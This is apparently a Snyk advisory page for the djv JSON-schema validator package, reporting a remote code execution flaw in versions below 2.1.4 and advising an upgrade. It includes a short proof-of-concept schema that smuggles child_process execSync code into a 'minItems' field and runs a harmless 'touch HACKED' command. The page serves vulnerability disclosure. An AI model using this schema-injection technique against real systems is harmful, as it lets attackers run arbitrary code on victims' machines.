djv@0.0.1-alpha.7 vulnerabilities

dynamic json-schema validator

  • latest version

    2.1.4

  • latest non vulnerable version

  • first published

    8 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the djv package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • C
    Remote Code Execution (RCE)

    djv is a dynamic json-schema validator

    Affected versions of this package are vulnerable to Remote Code Execution (RCE). By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.

    POC:

    const djv = require('djv');
    const env = new djv();
    const evilSchema = JSON.parse('{"common":{"type":"array", "minItems":"process.mainModule.require(`child_process`).execSync(`touch HACKED`)"}}')
    env.addSchema('test', evilSchema);
    env.validate('test#/common', { type: 'custom' });
    

    How to fix Remote Code Execution (RCE)?

    Upgrade djv to version 2.1.4 or higher.

    <2.1.4